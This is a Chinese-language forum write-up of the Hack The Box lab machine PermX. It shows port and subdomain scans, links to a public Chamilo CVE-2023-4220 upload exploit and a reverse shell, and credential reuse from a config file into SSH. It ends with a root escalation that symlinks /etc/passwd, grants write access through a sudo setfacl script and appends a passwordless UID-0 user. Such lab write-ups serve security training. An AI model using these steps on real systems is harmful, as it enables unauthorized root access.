HTB-Permx靶机笔记

打印 上一主题 下一主题

主题 893|帖子 893|积分 2679

Permx靶机笔记

概述

permx靶机是HTB的简单靶机,这台靶机团体考验渗出人员的信息搜集能力,可以收只有信息搜集的快速,才能快速拿到它的flag。
团体是比较简单的靶机
靶机毗连:https://app.hackthebox.com/machines/PermX
一、nmap扫描

1)端口扫描
  1. nmap -sT --min-rate 10000 -p- -o ports 10.10.11.23
复制代码
  1. Nmap scan report for 10.10.11.23
  2. Host is up (2.4s latency).
  3. Not shown: 65495 filtered tcp ports (no-response), 38 closed tcp ports (conn-refused)
  4. PORT   STATE SERVICE
  5. 22/tcp open  ssh
  6. 80/tcp open  http
  7. # Nmap done at Tue Aug  6 09:44:09 2024 -- 1 IP address (1 host up) scanned in 327.15 seconds
复制代码
2)具体信息扫描
  1. nmap -sT -sV -sC -O -p22,80 -o detail 10.10.11.23
复制代码
  1. Nmap scan report for 10.10.11.23
  2. Host is up (2.7s latency).
  3. PORT   STATE SERVICE VERSION
  4. 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
  5. | ssh-hostkey:
  6. |   256 e25c5d8c473ed872f7b4800349866def (ECDSA)
  7. |_  256 1f41028e6b17189ca0ac5423e9713017 (ED25519)
  8. 80/tcp open  http    Apache httpd 2.4.52
  9. |_http-server-header: Apache/2.4.52 (Ubuntu)
  10. |_http-title: Did not follow redirect to http://permx.htb
  11. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  12. Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 4.15 - 5.6 (93%), Linux 5.4 (93%), Linux 3.8 (92%), QNAP QTS 4.0 - 4.2 (92%), Linux 5.3 - 5.4 (92%)
  13. No exact OS matches for host (test conditions non-ideal).
  14. Network Distance: 2 hops
  15. Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  16. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  17. # Nmap done at Tue Aug  6 09:57:53 2024 -- 1 IP address (1 host up) scanned in 133.37 seconds
复制代码
看到``http-title: Did not follow redirect to http://permx.htb`
我们去/etc/hosts文件中绑定域名
  1. sudo vi /etc/hosts
复制代码

把10.10.11.23     permx.htb写进去
二、访问web
  1. http://permx.htb
复制代码
开始爆破子域名
  1. sudo gobuster dns -d permx.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt                           
  2. [sudo] kali 的密码:                                                                                                               
  3. ===============================================================                                                                    
  4. Gobuster v3.6                                                                                                                     
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                     
  6. ===============================================================                                                                    
  7. [+] Domain:     permx.htb                                                                                                         
  8. [+] Threads:    10                                                                                                                 
  9. [+] Timeout:    1s                                                                                                                 
  10. [+] Wordlist:   /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt                                                  
  11. ===============================================================                                                                    
  12. Starting gobuster in DNS enumeration mode                                                                                          
  13. ===============================================================                                                                    
  14. Found: lms.permx.htb
  15. Progress: 4989 / 4990 (99.98%)
  16. ===============================================================
  17. Finished
  18. ===============================================================
复制代码
看到结果lms.permx.htb
同样写到/etc/hosts文件中,打开浏览器举行访问。
一个登录窗口,应该是cms。网上找一下有没有漏洞公开信息。同时举行目录爆破,看有没有一些页面信息。
1)目录爆破
  1. sudo gobuster dir -u http://lms.permx.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  2. ===============================================================                 
  3. Gobuster v3.6                                                           
  4. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)         
  5. ===============================================================            
  6. [+] Url:                     http://lms.permx.htb                                             
  7. [+] Method:                  GET                                                      
  8. [+] Threads:                 10                                                               
  9. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt        
  10. [+] Negative Status codes:   404                                                               
  11. [+] User Agent:              gobuster/3.6                                                      
  12. [+] Timeout:                 10s                                                               
  13. ===============================================================                                 
  14. Starting gobuster in directory enumeration mode                                                   
  15. ===============================================================                                                                    
  16. /main                 (Status: 301) [Size: 313] [--> http://lms.permx.htb/main/]                                                   
  17. /web                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/web/]                                                   
  18. /documentation        (Status: 301) [Size: 322] [--> http://lms.permx.htb/documentation/]                                          
  19. /bin                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/bin/]                                                   
  20. /src                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/src/]                                                   
  21. /app                  (Status: 301) [Size: 312] [--> http://lms.permx.htb/app/]                                                   
  22. /vendor               (Status: 301) [Size: 315] [--> http://lms.permx.htb/vendor/]                                                
  23. /LICENSE              (Status: 200) [Size: 35147]                                                                                 
  24. /plugin               (Status: 301) [Size: 315] [--> http://lms.permx.htb/plugin/]                                                
  25. /certificates         (Status: 301) [Size: 321] [--> http://lms.permx.htb/certificates/]                                          
  26. Progress: 39913 / 220561 (18.10%)                                                                                                  
  27. /custompages          (Status: 301) [Size: 320] [--> http://lms.permx.htb/custompages/]                                            
  28. /server-status        (Status: 403) [Size: 278]
  29. Progress: 220560 / 220561 (100.00%)
  30. ===============================================================
  31. Finished
  32. ===============================================================
复制代码
也没什么有用的路径泄漏出来
2)CVE搜刮

找到了一个文件上传的漏洞CVE-2023-4220
exploit:https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit
php-reverse-shell:https://pentestmonkey.net/tools/web-shells/php-reverse-shell
三、获得立足点

两个文件下载下来

修改一下reverse.php文件的ip地址和端口
  1. chmod +x chamilo-exp.sh
复制代码

成功获得立足点
  1. python3 -c 'import pty;pty.spawn("/bin/bash")'
复制代码
  1. export TERM=xterm-color # 可以用clear清屏
复制代码
我们在用户目录下发现了mtz用户

四、获得mtz用户权限
  1. find / -name configuration.php 2> /dev/null
复制代码

找到了chamilo的配置文件,去打开看看
  1. cat /var/www/chamilo/app/config/configuration.php   
  2. cat /var/www/chamilo/plugin/sepe/src/configuration.php
复制代码
在app目录下的配置文件中,我们看到了数据库的用户名和暗码

我们毗连数据库
  1. mysql -u chamilo -p03F6lY3uXAP2bkW8
复制代码

成功进入数据库

这里有admin和password的hash值
用hashcat等工具尝试破解hash值,可惜一无所获
我们想一下,这个数据库的暗码03F6lY3uXAP2bkW8 会不会和它ssh用户mtz的暗码一样呢 尝试一下
  1. sudo ssh mtz@10.10.11.23
  2. 03F6lY3uXAP2bkW8
复制代码


发现用户flag
五、提权到root

sudo -l 看到有一个脚本
  1. #!/bin/bash
  2. if [ "$#" -ne 3 ]; then
  3.     /usr/bin/echo "Usage: $0 user perm file"
  4.     exit 1
  5. fi
  6. user="$1"
  7. perm="$2"
  8. target="$3"
  9. if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
  10.     /usr/bin/echo "Access denied."
  11.     exit 1
  12. fi
  13. # Check if the path is a file
  14. if [ ! -f "$target" ]; then
  15.     /usr/bin/echo "Target must be a file."
  16.     exit 1
  17. fi
  18. /usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
复制代码
因为文件是不可写的,我们只能审计一下这个脚本文件,看看能不能完成提权了。
这里制止了一些恶意的操作,我们可以尝试链文件
  1. mtz@permx:~:$ ln -s /etc/passwd /home/mtz/test
  2. mtz@permx:~:$ sudo /opt/acl.sh mtz rw /home/mtz/test
  3. mtz@permx:~:$ echo "lingx5::0:0:lingx5:/root:/bin/bash" >> ./test
  4. mtz@permx:~:$ su lingx5
  5. root@permx:/home/mtz:#
复制代码

成功拿到root的flag
总结


  • 我们用nmap扫描,探测出了目标服务有http和ssh服务,对http服务举行子域名罗列,在它的旁站中,我们发现他是一个cms的架构
  • 在github上找到了chamilo框架的CVE-2023-4220漏洞,根据github上的教程利用exp,成功后的了www-data用户权限。
  • 在chamilo框架的配置文件中,我们发现mysql数据库的配置信息,可以成功登陆数据库,但是admin的暗码是hash值很难破解。
  • 我们想到mysql和ssh会不会存在撞库的可能(两者暗码是一样的),我们在home目录下发现mtz用户,尝试ssh毗连,成功获得mtz用户的权限
  • 在mtz的sudo列表中看到了/opt/acl.sh文件,通过对shell脚本的审计,我们发现这个脚本可以给/home/mtz/*的文件赋权限,由此我们利用软毗连的方式,获得/etc/passwd的写权限,成功提权到root。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

石小疯

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表